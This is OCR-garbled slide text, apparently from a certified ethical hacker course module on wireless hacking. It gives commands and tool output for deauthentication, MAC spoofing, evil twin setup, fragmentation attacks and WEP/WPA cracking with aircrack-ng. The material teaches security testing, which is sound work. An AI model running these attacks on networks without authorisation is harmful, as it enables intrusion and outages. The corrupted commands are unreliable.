- AirPcap adapter captures full 802.11 data, management, and
control frames that can be viewed in Wireshark for in-depth
protocol dissection and analysis

- AirPcap software can be configured to decrypt WEP/WPA-encrypted
frames

il

T R AirPcap Control Panel | =1 o

Seltings | Keys

Features

It provides capability for simultaneous inkariacs

multi-channel capture and traffic AiPcap USB wieless captue adapter nt. 00 ¥| |__Binkled
aggregation Modet AiPeap Ny Trarismit yas Media: 80211 a/b/g/n
It can be used for traffic injection that help
in assessing the security of a wireless

network

AirPcap is supported in Aircrack-ng, Cain & Estension Channel |0 v
Able, and Wireshark tools Caphure Type | 80211 Oriy »: FCS Fiter | Al Frames

Basic Conhiguration

Chanred | 2412 MHz [BG 1] vl 1w Imcdude BOZ 11 FCS in Frames

AirPcapReplay, included in the AirPcap
Software Distribution, replays 802.11

network traffic that is contained in a trace _
file Reset Configuration

http /Y www.riverbed. com *
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Wi-F1i Packet Sniffer: Wireshark

with AirPcap

£ Capturing from AirPcap USB wireless capture adapter nr. 00

Eite [Edit Yiew Go Capture Analyze Statistics Telephony Tools [ntemals Help
+29 T2 ([BE QD B8 %

Expression...

e &

Filter:

ho. Tima

69

4
4
4
4
4
4
1
4
4
=
4
4
4
4
A
d

Frame 1: 190 bytes on wire (1520 bits), 1%0 bytes

A B 2

BXZ A

Source

- BOGBYTB00 SamsungE_57 ; 5b:9¢
. B0BE7E00 Nergear_80:ab: Je
. B4B70B0O SamsungE_57 : 5b:9¢c
. 65145700 Netgear _B0:ab: 3e
. B517 0600

. 69216700 SamsungE_57 :5b:9c
. 60400100 Hetgear _B0:ab: e

- 69752000 Netgear _B0:ab: Je

. 70010100 Netgear _B0:ab:3e
. 70291000 Netgear_B0:ab:3s
. 71036400 Netgear _B0:ab:3e
« 73360100 SamsungE_57 : 5b:9¢C
. 73636100 Netgear _B0:ab:3e

. 73896900 Netgear _B0:ab: 3e
- TAIFEINO MaTgear _R0:

+ 74433700 Netgear _80:ab: 3e

ah 1a

noabiy Fm

Radiotap Header v0, Length 26
IEEE 802.11 Beacon frame, Flags:

FEEet ANY 11 widralace 1 Ak mansnomant Frama

Q000
00L0
0020
0030
0040
04050
0060

1a 00 67 18 00 00 b
6c 09 a0 00 bl ad OO0 04
ff ff 2c bo 5d 80 e
80 Zc 07 00 L]
4f 7 69 46

24 01 05 04 02
438 dd 18 00 f2

@ =7 AirPcap USB wireless capture adapter nr. 00 ..

HaCkRhInO-TeaM

Protocol
802.11
B0O2.11

Destination

Broadcast
Broadcast
Broadcast 802.11
SamsungeE_57:5b:9c 802.11
Netgear_B0:ab:3e (RS802.11
Broadcast 8D2.11
EamcungE_S57:5b:be  802.11
SamsungE_57:5b:9c 802.11
SamsungE_37:3bi9c 802.11
SamsungE_57:5b:9¢ 802.11
Broadcast 802.11
Broadcast 802.11
SamsungE_57:5b:9c  802.11
SamsungE_57:5b:9%c 802.11
CamcungfF _SF:Sh=0Gc #/O%.11
SamsungeE_57:3b:%c 802.11

L, PR - T T TG

L

bl Of 00
B0 00 00
b0 54
31
B4
ia
01

Packets: 157 « Displayed: 197 (100.05)
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CEH

Cortiffed § Evhlesl Hachar

(SVN Rev 54262 from ftrunk-1.10)] =1 O X

Infer

146 Probe Request, SM=Ll, FN=0, Flags=

190 geacon frame, SN=1843, FN=0, Flags=

146 Probe Request, SN=2, FHN=0, Flagss=

325 Probe Response, Sh=716, FN=0, Flags=

40 acknowledgement, Flags=

146 Probe Request, Sn=3, Fu=0, Flags=

125 rrobe Recponce, SWM-T17, FMN-0, Flags-......
325 Probe Response, SN=717, FN=0, Flags=....
325 Probe Response, SN=717, FN=0, Flags=....
325 Probe Response, SH=717, FN=0, Flagss....
190 Beacon frame, SN=1846, FN=0, Flags=

146 probe Reguest, SN=4, FN=0, Flags=...

325 Probe Response, SN=T18, FN=0, Flags=
325 probe Response, SN=718, FN=0, Flags=....
138 prohe Recponsa Chi=T1R, Fhisl, f-"l:uJ-:-....
325 probe Response, SN=718, FN=0, Flags=....

L T - X e d i i L T

captured {1520 bits) on interface O

Profile: Default

hiip://www.wireshark.org
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Wi-Fi Packet Sniffer: SteelCentral ¢lEH
Packet Analyzer B
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Wi-Fi Packet Sniffer: OmniPecek
Network Analyzer

OmniPeek Network Analyzer offers real-time visibility and analysis of the network traffic
from a single interface, including Ethernet, 802.11a/b/g/n wireless and VolP

It provides a comprehensive view of all wireless network activity showing each wireless
network, the APs comprising that network, and the users connected to each AP

*
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Wi-Fi Packet Sniffer:
CommView for Wi-Fi

J CommView for Wi-Fi is designed for capturing and analyzing network packets on wireless
802.11a/b/g/n networks

Comemifiew for WiF| - Edimax EW.TT33UnD

Features

- -

2 o | b Chavesely | % Latest B Cormeciiang| o Faghoin
ol e Protocol

It gathers information
from the wireless
adapter and decodes
the analyzed data

wll 6 N

Rlriarw nr a1 TOF Sasiainas:

It can decrypt packets
utilizing user-defined
WEP or WPA-PSK keys
and decode them to
the lowest layer, with B : £ F 0 18 1T 00 56 A0 00 47 43 B0 3P 7T 3.

full analysis of the IR 1.-_':'2;_5 Rcanany e
most widespread Rt e 870 40 48 4341 54 E05 4630 20 040 AL 47 P ClomPuche Bl
protocol

Chichh Fitar

Cipan Pacerin)l in Nen ' Windss

Decede &i

B TPU Lhage PRFEC
i
il Ip;;,.f’www,[umus. LTI
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What is Spectrum Analysis?

M Rampietinta vees - WIS s et

RF spectrum analyzers examine Wi-Fi radio
transmissions and measure the power (amplitude)
of radio signals and RF pulses, and transform these
measurements into numeric sequences

Spectrum analyzers employ statistical analysis to
plot spectral usage, quantify "air quality,” and isolate
transmission sources

RF spectrum analyzers are used by RF technicians to
install and maintain wireless networks, and identify
sources of interference

Wi-Fi spectrum analysis also helps in wireless attack
detection, including Denial of Service attacks,
authentication/ encryptions attacks, network
penetration attacks, etc.

Spectrum Analysis Tools

2 Wi-Spy and Chanalyzer

2 AirMagnet Wi-Fi Analyzer
2  Wifikagle
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Wi-Fi Packet Sniffers

Sniffer Portable Professional

Analyzer
http://wannetscout.com

Capsa

http:/fwaaw colasoft.com

PRTG Network Monitor

http:/fwanw poessier.com

ApSniff

http:/fwane monolith81., de

NetworkMiner
http:/fwasnw netresec. com

Airview
http:/fairview.sourceforge. net

Observer
http:ffwww netwaorkinstruments. com

WifiScanner
http:fwifiscanner.sourceforge.net

Mognet

http: v monolithg1. de

AirTraf

http: S wvwe. elivar.com
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Wireless Hacking Methodology M

The objective of the wireless hacking methodology is to compromise a Wi-Fi network
in order to gain unauthorized access to network resources

Wi-Fi Discovery 2 ' GPS Mapping

Wireless Traffic Launch Wireless
Analysis Attacks

Crack Wi-Fi ~ ) Compromise the
Encryption - Wi-Fi Network
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d  Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and
WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless networks. This program

runs under Linux and Windows.

Airbase-ng

Captures
WPA/WPA2
handshake and can
act as an ad-hoc
Access Point

Aireplay-ng

Used for traffic
generation, fake
authentication, packet
replay, and ARP
request injection

Airmon-ng
Used to enable
monitor mode on
wireless interfaces
from managed
mode and vice versa

Aircrack-ng

Defacto WEP and
WPAS WPAZ-PSK
cracking tool

°
Airgraph-ng

Creates client to
AP relationship
and common
probe graph from
airodump file

Airtun-ng

Injects frames into a
WPA TKIP network with
o5, and can recover
MIC key and keystream
from Wi-Fi traffic

Airdecap-ng

Decrypt WEP/WPA/
WPAZ and can be
used to strip the
wireless headers

from Wi-Fi packets 4

Easside-ng

Allows you to
communicate via a
WEP-encrypted access
point (AP) without
knowing the WEP key

Airdecloak-ng
L ]
Removes WEP
cloaking from a
pcap file

Airod ump-ng

Used to capture
packets of raw
802.11 frames and
collect WEP IVs

Packetforge-ng

Used to create
encrypted packets
that can subsequently
be used for injection

Airdriver-ng

Provides status
information about

the wireless drivers g
on your system

Airolib-ng

Store and manage
essid and password
lists used in WPAS
WPAZ cracking

Tkiptun-ng

Creates a virtual

tunnel interface to

monitor encrypted

traffic and inject

arbitrary traffic into a
network

http:/fwww.gircrack-ng. org

Airdrop-ng

This program is
used for targeted,
rule-hased
deauthentication
of users

Airserv-ng

Allows multiple
programs to indepen-
dently use a Wi-Fi

| card via a client-server

TCP connection

Wesside-ng

Incorporates a
number of
techniques to
seamlessly obtain a
WEP key in minutes
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How to Reveal Hidden SSIDs| C[EH

o fained

Command Prompt
Step 1: Run

girmon-ng in
monitor mode

Step 2: Start
airodump to
discover 55IDs on
interface

[**Hidden SSID

= ] Step 3: De-
H® Command Prompt authenticate (deauth)

the client to reveal

i c:\hairepla?.ng__deauth 11-3{]{]:22:3F:AE:E&:5E 4.I.IlllIIIIIII‘I'I'I'IIIIIIIIIII.I"I‘III' I"'il:ldEl] SSID uﬁjl]E
RS Rireplay-ng

Step 4: Switch to
BSSID PWR RXQ Beacons #Data, #fs CH MB ENC CIPHER AUTH ESSID airodump to see

00:22:3F:AE:68:6E 76 70 157 1 0 11 54e WEP WEP Secret_SSID the FevelicH S
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. Fragmentation Attack

/ A fragmentation attack, when successful, can obtain 1500 bytes of PRGA (pseudo
;‘. random generation algorithm)

- _ W This attack does not recover the WEP key itself, but merely obtains the PRGA

The PRGA can then be used to generate packets with packetforge-ng which are in turn
used for various injection attacks

It requires at least one data packet to be received from the access point in order to
initiate the attack

=8 Command Prompt

C\>aireplay-ng -5 -b 00:14:6C:7E-40:80 -h 00:0F:B5:AB:CB-9D ath0 e R
Waiting for a data packet_ . Saving chosen packet in:repla?_am—DIZQ—lEllZﬂ . cap!
Bend 96 packets. .. Data packet found! L L L L L LR L eI

Bime: 120, FromDS: 1, ToDS: 0 (WEF) Sending fragmented packet

BESSID = 00:14:6C:7H:40:80 Got RELAYED packet!! PRGA is stored in the file
Dest. HAC = O00:0F:B5:AE:CH:S50 Thata our ARP packet!

Source HAC = 00:DO0:CPF:03:34:8C - Trying to get 384 bytesa of a keystream

Got RELAYED packet!!

Ox0000: 08542 0201 00D0f bSab oh9d 0014 : Thats our ARP packet!

Ox0010: 0040 o£03 348c =042 4001 DOOD . Trying to get 1500 bytes of a keystream

Ox0020: Gdéd blel 92a8 039 ca6f cech i Got RELAYEDN packet!!?

Ox0030: a21d Za70 4%cf eef8 £3L3 279c v £ Thats our ARP packet!
Ox0D40- TO13 £7£3 5953 1234 5727 146c . 2 ) Saving keyastream in fragment-0124-161129%_ xzor
0x0050: £d55 66a? 030f 472d 2682 3957 _OE. . _G-E.9W.) .. How you can build a packet with packetforge-ng out of

Ox0060: 517f 1544 hdB2 ad77 feSa od99 that 1500 bytes keyatream

Ox0070: 0505 933f af2f Tile
O=ze= thiz packet 7 y

Use PRGA with packetforge-ng to generate packet(s) to be used for various injection attacks
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How to Launch MAC Spoofing
Attack

MAC spoofing attackers change the MAC address to that of an authenticated
user to bypass the MAC filtering configured in an access point

= Linux Shell

Logging as root and disable

[root@localhost rootli IfCOﬂﬂg wlan0 down {I‘ll‘l EE NSNS ESEEEEEEEEENEEEE e R

[root@localhost root}# ifconfig wilan0 hw ether 02:25:ab:4c:2a:bc G unnnnnnnn s I TR I [

[rﬂﬂt@lﬂmlhﬂﬁtrﬁ'ﬂt]#if’conﬁg WIann up‘<IIIIIIIIIIIIIIIIIIIIIIII EEEEEEEEEEEEN

I
[~ Show Ondy Active Metwork Adapters
New Spoofed MAL Address > |
|00 - 05 —| 56 — 55 —| 88 —|58 x|

Update MAC | | SMAC is a MAC address

Restart Adapter IPConfig | changer for Windows systems
Rlandom | MAL List
| 360 SYSTEMS [000S56] hd Refresh ' Exit
- " - : any New MAC
Spoofed MAC Address Metvaork Connection
[Nat Spoofed {Local Ares Connechion Address or based

_ on a selected
Actve MAC Sddiess Hatdware 1D : .

Randomly generate

144-84-DB-FO-BE-63 4| [ocivwen_1deddev_16925ubsys_04261028 manufacturer

b
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Demal ot' Serwce. Deauthenttcatmn
and D:sassocmtlon E.ttacks

Client is authenticated and

Client is still authenticated but
Client attempting no longer associated with the AP Access Point (AP)

to connect
Disassociation Attack

Deauth command:
aireplay-ng ——-deauth 25 -h <TARSET MAC> -
b <AP HAC> athl

—
—

Access Point (AP) Deauthenticate Request
packet to take a single
client offline

thentication Attacks

Abpyright © by EE-Council. All Rights Resérved. Reproduction is Strictly Prohibited.
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. IMan-in-the-Middle Attack M

Artacker sniffs the victim's wireless
parameters (the MAC address, ESSID/BESSID,
numhber of channeals)

-

— Sniff =

..ril i}i‘

—
Attacker sets a forged AP on a new channel

with the original MAC address (BSSID) and
ESSID of the victim's AP

Victim Conmects”™=,
to Forged AP

HaCkRhInO-TeaM

—

Sendsa DEAUTH request to the victim with
the spoofed source address of the victim's
AP

-\ Yy
h .ﬁf:qf&!

After the victim's successful assodiation to 7
the forged AP, the attacker spoofs victim
to connect to the original AP

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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-

‘ictim is deauthenticated and starts to
search all channels for a new valid AP

e €)
ay -

Deauthenticated

Attacker sits in between the access point

and the victim and listens all the traffic

HaCkRhInO-TeaM




Cortified § Ethlcal MHacker

. IMITM Attack Using Aircrack-ng | ( EH

Command Prompt

Step 1: Run
C:\»airmon-ng start ethl airmon-ng in
c:\}alrﬂd{lﬂ]‘}-ﬂg -—|v5—wr|te-{ap{u.reem1 <lllllill‘llillll-'lll-llIIIIIIIII‘UII.‘I‘I'I& I'I‘IDI'I.itDI’ |ﬂGdE
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:24:2B:CD:68:EF 99 5 60 3 0 1 54 OPN IAMROGER
02:24:2B:CD:68:EE 99 9 75 2 ©0 5 S4e OPN COMPANYZONE
00:14:6C:95:6C:FC 99 0 15 0 0 9 54 WEP WEP HOME :
1E6451:3B:FF3E 76 70 157 1 0 11 54 WEP WEP SECRET_SSID discover 551Ds on
interface

s L e e T PT e PR E TR R R Y

Step 2: Start
airodump to

BSSID Station PWR Rate Lost Packets Probes
1E:64:51:38:FF:3E  00:A7:9A:C3:CFC2 -1 i-0 o i
1E:64:51:38:FF:3E 00:AF5B:BAAT:CD 76 le54 O ]

Ic:

=L__] Command Prompt step 3: De-

authenticate
(deauth) the client
using Aireplay-ng

Step 4: Associate

C:\>aireplay-ng -1 0 -e SECRET_SSID -a 1e:64:51:3h:ff:3e -h 02:24:2B:CD:68:EF ethl <grewessssnsnsnunnun your wireless card
22:75:10 Waiting for beacon frame (BSSID: 1E:64:51:3B8:FF:3E) on channel 11 (fake association)

22:25:10 Sending Authentication Request with the LA L
22:25:10 Authentication successful are accessing with
22:25:10 Sending Association Request aireplay-ng
22:25:10 Association successful :-)
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Wireless ARP Poisoning Attack

/.-‘

f *Fg

Access Pointl

MAC Address
04-A4-52-33-61

Attacker's System

Attacker spoofs the MAC
address of Jessica's Wireless
Laptop and attempts to
authenticate to AP1

L |

Attaclker uses ARDP Paisoning
tool such as Cain & Abel

12/

AP1 sends updated MAC
address info to the network
routers and switches, which in
turn update their routing

and switching tables

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

Access Point2
A
MAC Address
' 00-45-B8-74-03

Jessica's Wireless Laptop

Traffic now destined from
the network backbone to
Jessica's system is no longer
sent to AP2




. Rogue Access Point m

mmA N { ﬁ;ﬁ__éﬁl

) Choose an appropriate location to plug in your

Compact, pocket- ‘ : : Rogue access point
i rogue access point that allows maximum :
sized rogue AP | G riere. 5 ks yelar Teinn AOEIH Bl device connected to

device plugged into corporate networks
an Ethernet port of | — over a Wi-Fi link

corporate network -l Disable the S51D Broadcast (silent
mode) and any management
features to avoid detection

network scanners

- ) Place the access point behind a
firewall, if possible, to avoid
P Y

Software-based USB-based rogue
rogue access point access point
running on a device plugged
corporate Windows l Deploy a rogue access point for short period into a corporate

machine machine
-

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




HaCkRhInO-TeaM

Authorized Wi-Fi

ssiD: |
STARBUCKS

YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY

Evil Twin is a wireless AP that
pretends to be a legitimate AP by
replicating another network name

Attacker sets up a rogue AP outside
the corporate perimeter and lures
user to sign into the wrong AP

Once associated, users may bypass

]itllfmias giving

attackers access to network data

Evil Twin can be configured with a
common residential SSID, hotspot
SSID or SSID of a company’s WLAN

HaCkRhInO-TeaM

Wi-Fi is everywhere these days and so are your employees. They take their |laptops to Starbucks, to FedEx Office, and to
the airport. How do you keep the company data safe?

HaCkRhInO-TeaM

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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How to Set Up a Fake Hotspot
(Evil Twin)

You will need a laptop with Internet connectivity (3G or wired connection)
and a mini access point

= Enable Internet Connection Sharing in Windows 8 or Internet Sharing in Mac OS X

® Broadcast your Wi-Fi connection and run a sniffer program to capture passwords

Comg Metwork Mame.  Juggyboy
Channel- | Automatic & A
+ Enable encryption (using WEP) Victim b T

£ Password:

o

q.‘ .
ot A&

% Confirem Passward ssssssasssssss
WEP Ky Length: | 128-bit £ ! Broadcast 551D:5tarbucks

ad

Pril I o, uianmsh.:rt.rod. 5 @
i Internet Sharing: O F F 35 or Ethernet

524 EOMpUnEry, U3e 8 5ol

e and a 13 character pasy ::E:::Shl'-ﬂg alows other compubers by share your conmeciion io the . ':L'II'II‘IE{tIIIJI'I tao
e . the Internet
R Share your connection from: | Ethernet x 'I_'t it ESEmmEm=

1 —_— —- L]

R e AP EVERTS acker

Xgrid Tharing To computers using: On  Pans Cumputer set g5 Apj
Internat Sharing Exharmet : :
Huaroath Sharing AirPoe Running a Sniffer

FirgWire
=

Internet

i .g- Click 1he lock o prewent funber changes .m

A user tries to log in and finds two access points. One is legitimate, while the other is an identical fake (evil twin). Victim picks one, if it's the fake, the hacker gets
login information and access to the computer. In the meantime, the user goes nowhere. He or she probably thinks it was just a login attempt that randomly failed.
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Wireless Hacking Methodology M

The objective of the wireless hacking methodology is to compromise a Wi-Fi network
in order to gain unauthorized access to network resources

Wi-Fi Discovery 2 | GPS Mapping

Wireless Traffic Launch Wireless
Analysis Attacks

Crack Wi-Fi ~ ) Compromise the
Encryption - Wi-Fi Network
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c:\.‘airmn_ngitart Ethl AﬁllllIII.I-I.I.I-I.I-IIIIIIIIIIII.I.I.I.I.I-IIIIIIIIIIIIIIII-IIIII L Step l: Hul]airlr‘u‘_‘.l"_

c:\’airodump_ng __iu-s "Wl‘it'E capture Ethl {IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII ng n FI'IﬂI]ItEIrI'I'IDL‘IE

BSSID PWR RXQ Beacons #iData, #/s CH MB ENC CIPHER AUTH ESSID
02:24:2B:CD:68:EF 99 5 60 3 0 1 S4e OPN IAMROGER " Step 2: start
02:24:2B:CD:68:EE 99 9 75 2 5 Sd4e OPN COMPANYZONE airodump to
discover S51Ds on
00:14:6C:95:6C:FC 99 0 15 0 9 S54e WEP WEP HOME interface and keep
1E:64:51:3B:FF:3E 76 70 157 1 11 54 WEP WEP SECRET_SSID it running.
Your c-apt- ure file
BSSID Station PWR Rate Lost Packets Probes should contain
1E:64:51:3B:FF:3F 00:17:9A:C3:CF:C2 -1 1-0 0O 1 i

Vs to successfully
1C:64:51:30:FF:3E 00 1F:5B:BAAT:CD 76 le-54 O [i] crack the WEP ke Y.

]
"
L]
]
]
"

Command Prompt tﬂ

C:\>aireplay-ng -1 0 -e SECRET_SSID -a 1e:64:51:3h:ff:3e -h a7:71:fe:8e:d8:25 ethl <€ =r=»===» === HEETINCR Iy PHI P

22:25:10 Waiting for beacon frame {BSSI[i"'*LI; 64:51:3B:FF:3E) onﬁqnnel 11 your wireless card
with target access

point
22:25:10 Sending Authentication Request Target SSID Ta rget MAC address =

22:25:10 Authentication successful
22:25:10 Sending Association Request
22:25:10 Association successful :-)
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How to Crack WEP Using Aircrack

(Cont’d)

Command Prompt

I C:\>aireplay-ng -3 -b 1e:64:51:3h:ff:3e -h a7:71:fe:8e:d8:25 ethl ersssssssnssssnssnsnssnnnas Step 4: Inject
22:30:15 Waiting for beacon frame (BSSID: 1E:64:51:3B:FF:3E) packets using
aireplay-ng to

z ! generate traffic
Saving ARP requests in replay_arp-0219-123051.cap on target access

You should also start airodump-ng to capture replies point
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

Command Prompt

C:\»aircrack-ng -s capture.ivs (-“""u NN SN SN SI SIS SEESSEEEEE NI EEEEEEEEEE Step 5: Wait for
Opening capture.ivs airodump-ng to
Read 75168 packets. capture |_‘rmre
: than 50,000 IVs
Aircrack-ng 0.7 r130 Crack WEP key

[00:00:10] Tested 77 keys (got 684002 IVs) using aircrack-ng.
KB depth byte{vote)
0 0/ 1 AE( 199) 29{ 27) 2D{ 13) 7c{ 12) FE( 12) FF{ 6) 39( 5) 2c{ 3) 00( 0) 08( 0)
1.0/ 3 66( 41) F1( 33) AC( 23) 00{ 19) 9F{ 19) C7{ 18) 64{ 9) 7A( 9) 7B( 9) F&{ 9)
2 0f 2 5¢{ 89) 52( 60) E3( 22) 10( 20) F3( 18) 8B( 15) 8E( 15) 14{ 13) D2{ 11) 47( 10)
3 0/ 1 FD( 375) 81( 40) 1D( 26) 99( 26) D2{ 23) 33( 20) 2¢( 19) 05( 17) 0B( 17) 35( 17)

KEY FOUND! [ AE:66:5C:FD:24 ]
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How to Crack WPA-PSK Using
Aircrack

Monitor wireless traffic with airmon-ng

C:\>airmon-ng start ethl

Collect wireless traffic data with airodump-ng

C:\>airodump-ng --write capture ethl

Command Prnmt

C:\»airmon-ng start ethl

C:\»airodump-ng —write capture ethl

BSSID PWR RXQ Beacons #Data, #fs CH CIPHER AUTH ESSID
02:24:2B:CD:68:EF 99 5 60 3 0 1 IAMROGER
02:24:98:CD:68:EE 99 9 75 2 [i] 5 TKIP PSK COMPANYZONE
00:14:6C:95:6C:FC 99 0 15 0 L 9 WEP HOME
1E:64:51:3B:FF:3E 76 70 157 1 L1 WEP WEP SECRET_SSID
BSSID Station PWR Rate Lost Packets Probes

1E:64:51:38:FF:3E 00:17:9A:C3:CF:C2 -1 1-0 0 1

1E:64:51:36:FF:3E 00:1FS5B:BA:AT:XXD 76 1e-54 0 6
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How to Crack WPA-PSK Using
Aircrack (contq)

Step 3: De-authenticate (deauth) the client using Aireplay-ng. The client will try to authenticate with AP
which will lead to airodump capturing an authentication packet (WPA handshake)

) Command Prompt X!
Step 4: Run the capture file through aircrack-ng
’E Command Prompt

pEmMngE caplure.cap

L
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WPA Cracking Tool: KisMAC (|EH

Netgear Inc.
2012-07-10 11:42:28 + 0
2012-07-10 213633 +0

Channel 11
Main Channel 11
Supported Rates 1, 2, 5.5, 11, 18, 24, 35, §
Shgnal 100
100
a
rmanaged
Erery ption WELP

Packers 441061

Data Fackets 375501

Management Pack: 85558

Control Packets ©

Lhaigue Vs 253ra1

inj. Packers L
56.7IMIB
<uRPESOivEd >
< unresolved >

000000

Latituds
Longitude
Elewatian Ko Devation Data

Delete

Test Injection L

Join Network e SR TS

Wendor Signal
Show Details Lk nown
et P Pl
. ; A unknown
Mom.tur Sig n_al Strength HM i ovn
Monitor all signals wrknewn
: wikndwn
Deauthenticate O¥D  unknown

Deauthenticate all Networks unkAONn
P IO

Authentication Flood rek e

Reinject Packets unknown
wnknown

(= M-8 -N-N-R-R-3N-R=F=-N-]

‘Crad »  Wordlist Attack
Weak Scheduling Attack

Bruteforce
| e
il roeeen
WRkrosn
wnkAdwn
wrknoam
P rY T
wrkr oW

Cortiffed § Evhlesl Hachar

e e

went Byles

oa
o@
oa
0B
08
oa
o8
oa
oa
D&
oa

e
L
o8
oA
Ok
08
oa

recy, Byles IP Address Last Seen
2288 unknown
2288 unlinawn
1908 uninown
2288 unkntwn
2668 unknown
1908 unkicwii
2668 unknown
1668 unknown
1668 unlinown
2668 unknown
1528 unknown
1908 uninown

against LEAP Key
against WPA Key

against 40-bit Apple Key
against 104-bit Apple Key
against 104-bit MD5 Key

1508 Unkrcwn
Z668 uninown
1668 ununown

d You can crack/brute force WEP and WPA
passwords using KisMAC

4 KisMAC runs on MAC OS X

HaCkRhInO-TeaM

1668 unknown
Z2RR_unkncnan

startScan  §

http://trac.kismac-ng.org
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WEP Cracking Using Cain & Abel C|EH

Cortiffed § Evhlesl Hachar

Karek's WEP Attack

- WEP Key Length | - Irikial part of the key (Hex)

. - Last KB Brute-Fosee—— -
=] | | [iast key byte - WEP Cracker utility in Cain implements statistical

cracking and PTW cracking methods for the

I’ A _ul5 e A3 2 b h a5 2 W oA 52 ¥ A 53 recovery of a WEP Key
¥ .13 W A 33 W &_453 W & u53 W A 4 513
W oA 3 W A 51 F A Foa_usd M A 4051

K8 Depth  EByte (vote) | -
0 6C{ 277)47¢

12)97( 12)05( 0)YFO{
i Py eF{ 2B0)BB({ 24)CC{ 15)9C{ 12)9D{ =
0- 63( 249)58( 15)28¢ 12339¢ Cracking 128 bit key [deme )
0 61( 238)47(

28736( ) 18)D0C § |y :
Vi Eaum A 1050 | iScr socatherseyon
Py 28) [ : ro
0s §5( 186)BE( 25 )SA( 13)E3( | Hex: 6CEFE3616CEERSTAEBESTII030
o F4{ Z72)5E( 28 JCCE 15)EC{ § Bli L
0/ 6B{ 110)18( 15)06( 15 15)4D( ok apdpged
1 B5({ EB4)64( 4 15)1EB({ 15)F&(
0~ 78{ 280)2D0( 309314 243F0(
0- ang 326)7B( 41)1C{ 3 ([ 2B)19(

Lo () s 0.8 D0 OO0 Bk P
b P b= Al D OO O L e

et O D Dl O U e Ll D D
Bl
.
e
m

Pk ot o o ok o o o et st

(==

WEP Key found |

ASCII: localnetksyll
Hex: GCEFEIGLECEESST4GEASTII0I0

http://www.oxid.it
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WPA Brute Forcing Using clEH
Cain & Abel

Cortiffed § Evhlesl Hachar

HaCkRhIn0O-TeaM

Aalcap USD weeless caphue adepber v, 00
|I' Waapeanlill d

fafoap

Diiver version: 200678 DM [ Loat sson

[ Vendor [ Signl | SSID [Enc [ Mode [ Charnel | Ruates (Mbps)
T ch 1 234567891011 ,ﬁ 00 245087ECD . 26°02/2008 - 11 JCOMELR.. 57 dBm Incalmet Wha |nfrasinaciure S[2452000 ... b 9.1218,
. Currerd channel 9

(- Lotk on

¥ Sendta Cracker 4

WEAPSE Authe

1 | MAC Adde Last
¢ Captue WEFTVE to e B i L

| Venda | Signal | Rate | Pachets | ARPFequestz |
_ Bl013020F0E3  2EA02/2008-21.. InedCoper., | F3dBm  SdMbp: 375 0
Fle size: 24 bnies

~WEP Injsction——— - Tuftale [Mbps]——
Rt || 2 |

Cain can recover passwords by sniffing the wireless network,

and crack WPA-PSK encrypted passwords using dictionary and
brute-force attacks
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WPA Cracking Tool: Elcomsoft
Wireless Security Auditor

& Elcomsoft Wireless Security Auditar
Fie  Action Options  Haelp ;
*
- - o Impad = Cropk Bpen - S
Elcomsoft Wireless Security Auditor B peec pomt  proe
allows network administrators to et i

" Wireless netwark sniffer

=

It comes with a built-in
(with AirPcap
adapters)

It tests the strength of [ e Read 1990
WPA/WPA2-PSK passwords e b
protecting your wireless network

>

atfll

htto:/www elcomsoft. mml
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. WEP/WPA Cracking Tools

WepAttack i ) Portable Penetrator
http://wepattack.sourceforge.net . http:/ /v secpoint.com

Wesside-ng —1! CloudCracker

http:/fwana aircrock-ng.org ir - https:/fwww.cloudcracker.com

Reaver Pro coWPAtty

https:/fcode.google.com : ' http:/fwirelessdefence.org

WEPCrack Wifite

http:/fwepcrack.sourceforge.net http:/fcode. google.com

WepDecrypt ' J WepCrackGui

http:/fwepdecrypt.sourceforge.net . http: fwepcrackgui.sourceforge.net
— e
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WEP/WPA Cracking Tool for
Mobile: Penetrate Pro

- Penetrate Pro android app N s a =1 14:44
allows you to decode and
access a secure Wi-Fi
network from Android

: Thomson®7381A
smartphone and devices

The app calculates Results for Thomson97381A
WEP/WPA keys for some
Wi-Fi routers and lets you 2064DFF804
to get access by using the

password 254684EBE3

Penetrate Pro calculates
WEP/WPA keys for various 5D259C36E2
wireless routers such as
Thomson, Discus, Infinitum,
BBox, DMax, Orange,
SpeedTouch, DLink, Eircom,
BigPond, O2Wireless
routers, etc.

http://getandroidstuff.com
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Wi-Fi Sniffer: Kismet

= Eismet Sort View Windows

TRENDne t ;148:01:5F:97:12 1 Trendwarel ---
linksys_SES_ 45997 116:P6: 18: E4;FF 6 2447 F 1 Cisco-Link ===

It is an 802.11 Layer2

, sniffer, and
intrusion detection
system

A 1 ActiontecE US
AT QO:18:01:F3:10:F0) A N d " 1 - 1 Act ek 5
TK421 00:18:01:FE:68:77 A 6 2442 1 ActiontecE ---
Elina-PC-Wireless 00:24:82:0E:EG:E2 A

It Pickles :1F:33:F3:05:4A A O DE I

B kas
Wi T

by passively collecting

packets and detecting BTSTST i 161:4.8. 30.52-145: 165 |

standard named « EX—
networks

It
and presence
Df nﬂnbeaconing from GPSD in 15 seconds or sore, attespting to reconnect

from GPSD in 15 seconds or more, attempting to reconnect

nE'tW'DrkS via da‘[a connect to the spectools server localhost:30569
FROES from GPED in 15 seconds or more, attsapting to reconnect

trafﬁc H from GPSD in 15 seconds or more, attempting te reconnect

http.//www.kismetwireless.net
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Wardriving Tools

Airbase-ng

http:/faircrack-ng.org

ApSniff

http:/ v monolith81. de

WiFiFoFum

http:/Swanw wififofum. net

MiniStumbler
http:/fwanw netstumbler.com

Warlinux
http:/fsourceforge.net

MacStumbler

hittp:/fwwe macstumbler.com

WiFi-Where

hittp:/fwww threejocks.com

AirFart
http:/fairfart. sourceforge.net

AirTraf

http:/fairtraf.sourceforge.net

802.11 Network Discovery

Tools
hittp:/fwavelon-tools.sourceforge.net
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RF Monitoring Tools

NetworkManager L € Xosview
https:/fwiki.gnome.org . http:/fxosview.sourceforge.net

KWiFiManager b RF Monitor

